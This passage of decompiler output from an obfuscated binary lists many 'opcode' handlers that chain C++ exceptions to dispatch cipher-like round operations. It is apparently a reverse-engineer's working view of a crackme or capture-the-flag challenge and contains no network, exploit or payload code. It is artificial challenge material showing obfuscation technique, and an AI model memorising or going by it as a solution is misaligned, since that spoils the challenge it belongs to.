// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C0: using guessed type int xxx_0;
//----- (0000000000006B72) ----------------------------------------------------
void __noreturn opcode_8()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_1 = __ROL4__(xxx_1, 1);
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 80;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C4: using guessed type int xxx_1;
//----- (0000000000006BFA) ----------------------------------------------------
void __noreturn opcode_70()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_0 = __ROR4__(xxx_0, 1);
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 79;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C0: using guessed type int xxx_0;
//----- (0000000000006C82) ----------------------------------------------------
void __noreturn opcode_112()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_3 = __ROL4__(xxx_3, 1);
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 68;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131CC: using guessed type int xxx_3;
//----- (0000000000006D0A) ----------------------------------------------------
void __noreturn opcode_93()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_3 = __ROL4__(xxx_3, 1);
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 9;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131CC: using guessed type int xxx_3;
//----- (0000000000006D92) ----------------------------------------------------
void __noreturn opcode_33()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_0 ^= the_constants[10] + helper_1 + helper_0;
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 89;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C0: using guessed type int xxx_0;
// 2131D0: using guessed type int helper_0;
// 2131D4: using guessed type int helper_1;
//----- (0000000000006E34) ----------------------------------------------------
void __noreturn opcode_34()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
helper_0 = the_constants[BYTE2(xxx_2) + 576LL] ^ the_constants[BYTE1(xxx_2) + 320LL] ^ the_constants[(unsigned __int8)xxx_2 + 64LL] ^ the_constants[((unsigned int)xxx_2 >> 24) + 832LL];
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 32;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C8: using guessed type int xxx_2;
// 2131D0: using guessed type int helper_0;
//----- (0000000000006F30) ----------------------------------------------------
void __noreturn opcode_84()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
helper_0 = the_constants[BYTE2(xxx_2) + 576LL] ^ the_constants[BYTE1(xxx_2) + 320LL] ^ the_constants[(unsigned __int8)xxx_2 + 64LL] ^ the_constants[((unsigned int)xxx_2 >> 24) + 832LL];
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 122;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C8: using guessed type int xxx_2;
// 2131D0: using guessed type int helper_0;
//----- (000000000000702C) ----------------------------------------------------
void __noreturn opcode_78()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_3 = __ROL4__(xxx_3, 1);
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 58;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131CC: using guessed type int xxx_3;
//----- (00000000000070B4) ----------------------------------------------------
void __noreturn opcode_22()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
helper_0 = the_constants[BYTE2(xxx_2) + 576LL] ^ the_constants[BYTE1(xxx_2) + 320LL] ^ the_constants[(unsigned __int8)xxx_2 + 64LL] ^ the_constants[((unsigned int)xxx_2 >> 24) + 832LL];
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 50;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C8: using guessed type int xxx_2;
// 2131D0: using guessed type int helper_0;
//----- (00000000000071B0) ----------------------------------------------------
void __noreturn opcode_59()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
helper_0 = the_constants[BYTE2(xxx_0) + 576LL] ^ the_constants[BYTE1(xxx_0) + 320LL] ^ the_constants[(unsigned __int8)xxx_0 + 64LL] ^ the_constants[((unsigned int)xxx_0 >> 24) + 832LL];
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 36;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C0: using guessed type int xxx_0;
// 2131D0: using guessed type int helper_0;
//----- (00000000000072AC) ----------------------------------------------------
void __noreturn opcode_77()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
helper_0 = the_constants[BYTE2(xxx_2) + 576LL] ^ the_constants[BYTE1(xxx_2) + 320LL] ^ the_constants[(unsigned __int8)xxx_2 + 64LL] ^ the_constants[((unsigned int)xxx_2 >> 24) + 832LL];
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 21;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C8: using guessed type int xxx_2;
// 2131D0: using guessed type int helper_0;
//----- (00000000000073A8) ----------------------------------------------------
void __noreturn opcode_49()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
some_shitty_16[6] = BYTE2(xxx_3);
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 98;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131CC: using guessed type int xxx_3;
//----- (0000000000007432) ----------------------------------------------------
void __noreturn opcode_98()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
some_shitty_16[7] = HIBYTE(xxx_3);
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 110;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131CC: using guessed type int xxx_3;
//----- (00000000000074BC) ----------------------------------------------------
void __noreturn opcode_119()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
helper_1 = the_constants[BYTE1(xxx_1) + 576LL] ^ the_constants[(unsigned __int8)xxx_1 + 320LL] ^ the_constants[((unsigned int)xxx_1 >> 24) + 64LL] ^ the_constants[BYTE2(xxx_1) + 832LL];
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 56;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C4: using guessed type int xxx_1;
// 2131D4: using guessed type int helper_1;
//----- (00000000000075B8) ----------------------------------------------------
void __noreturn opcode_101()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
helper_1 = the_constants[BYTE1(xxx_3) + 576LL] ^ the_constants[(unsigned __int8)xxx_3 + 320LL] ^ the_constants[((unsigned int)xxx_3 >> 24) + 64LL] ^ the_constants[BYTE2(xxx_3) + 832LL];
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 33;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131CC: using guessed type int xxx_3;
// 2131D4: using guessed type int helper_1;
//----- (00000000000076B4) ----------------------------------------------------
void __noreturn opcode_53()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_0 = __ROR4__(xxx_0, 1);
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 120;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C0: using guessed type int xxx_0;
//----- (000000000000773C) ----------------------------------------------------
void __noreturn opcode_63()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
some_shitty_16[1] = BYTE1(xxx_2);
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 71;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C8: using guessed type int xxx_2;
//----- (00000000000077C6) ----------------------------------------------------
void __noreturn opcode_18()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_1 ^= the_constants[27] + helper_0 + 2 * helper_1;
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 29;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C4: using guessed type int xxx_1;
// 2131D0: using guessed type int helper_0;
// 2131D4: using guessed type int helper_1;
//----- (000000000000786C) ----------------------------------------------------
void __noreturn opcode_45()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
some_shitty_16[3] = HIBYTE(xxx_2);
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 37;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C8: using guessed type int xxx_2;
//----- (00000000000078F6) ----------------------------------------------------
void __noreturn opcode_2()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 81;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
//----- (0000000000007970) ----------------------------------------------------
void __noreturn opcode_42()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_0 ^= the_constants[22] + helper_1 + helper_0;
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 95;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C0: using guessed type int xxx_0;
// 2131D0: using guessed type int helper_0;
// 2131D4: using guessed type int helper_1;
//----- (0000000000007A12) ----------------------------------------------------
void __noreturn opcode_107()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
some_shitty_16[12] = xxx_1;
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 4;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C4: using guessed type int xxx_1;
//----- (0000000000007A98) ----------------------------------------------------
void __noreturn opcode_16()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
some_shitty_16[0] = xxx_2;
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 63;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C8: using guessed type int xxx_2;
//----- (0000000000007B1E) ----------------------------------------------------
void __noreturn opcode_10()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
some_shitty_16[11] = HIBYTE(xxx_0);
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 107;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C0: using guessed type int xxx_0;
//----- (0000000000007BA8) ----------------------------------------------------
void __noreturn opcode_36()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
helper_1 = the_constants[BYTE1(xxx_1) + 576LL] ^ the_constants[(unsigned __int8)xxx_1 + 320LL] ^ the_constants[((unsigned int)xxx_1 >> 24) + 64LL] ^ the_constants[BYTE2(xxx_1) + 832LL];
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 61;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C4: using guessed type int xxx_1;
// 2131D4: using guessed type int helper_1;
//----- (0000000000007CA4) ----------------------------------------------------
void __noreturn opcode_15()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_1 = __ROL4__(xxx_1, 1);
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 24;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C4: using guessed type int xxx_1;
//----- (0000000000007D2C) ----------------------------------------------------
void __noreturn opcode_64()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
helper_1 = the_constants[BYTE1(xxx_1) + 576LL] ^ the_constants[(unsigned __int8)xxx_1 + 320LL] ^ the_constants[((unsigned int)xxx_1 >> 24) + 64LL] ^ the_constants[BYTE2(xxx_1) + 832LL];
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 99;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C4: using guessed type int xxx_1;
// 2131D4: using guessed type int helper_1;
//----- (0000000000007E28) ----------------------------------------------------
void __noreturn opcode_56()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_2 ^= the_constants[36] + helper_1 + helper_0;
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 35;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C8: using guessed type int xxx_2;
// 2131D0: using guessed type int helper_0;
// 2131D4: using guessed type int helper_1;
//----- (0000000000007ECE) ----------------------------------------------------
void __noreturn opcode_44()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
helper_1 = the_constants[BYTE1(xxx_1) + 576LL] ^ the_constants[(unsigned __int8)xxx_1 + 320LL] ^ the_constants[((unsigned int)xxx_1 >> 24) + 64LL] ^ the_constants[BYTE2(xxx_1) + 832LL];
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 26;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C4: using guessed type int xxx_1;
// 2131D4: using guessed type int helper_1;
//----- (0000000000007FCA) ----------------------------------------------------
void __noreturn opcode_9()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_3 ^= the_constants[25] + helper_0 + 2 * helper_1;
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 84;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131CC: using guessed type int xxx_3;
// 2131D0: using guessed type int helper_0;
// 2131D4: using guessed type int helper_1;
//----- (0000000000008070) ----------------------------------------------------
void __noreturn opcode_54()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_0 = __ROR4__(xxx_0, 1);
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 15;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C0: using guessed type int xxx_0;
//----- (00000000000080F8) ----------------------------------------------------
void __noreturn opcode_0()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_2 ^= the_constants[20] + helper_1 + helper_0;
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 104;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C8: using guessed type int xxx_2;
// 2131D0: using guessed type int helper_0;
// 2131D4: using guessed type int helper_1;
//----- (000000000000819A) ----------------------------------------------------
void __noreturn opcode_68()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_3 ^= the_constants[13] + helper_0 + 2 * helper_1;
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 77;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131CC: using guessed type int xxx_3;
// 2131D0: using guessed type int helper_0;
// 2131D4: using guessed type int helper_1;
//----- (0000000000008240) ----------------------------------------------------
void __noreturn opcode_73()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
helper_1 = the_constants[BYTE1(xxx_3) + 576LL] ^ the_constants[(unsigned __int8)xxx_3 + 320LL] ^ the_constants[((unsigned int)xxx_3 >> 24) + 64LL] ^ the_constants[BYTE2(xxx_3) + 832LL];
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 103;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131CC: using guessed type int xxx_3;
// 2131D4: using guessed type int helper_1;
//----- (000000000000833C) ----------------------------------------------------
void __noreturn opcode_11()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
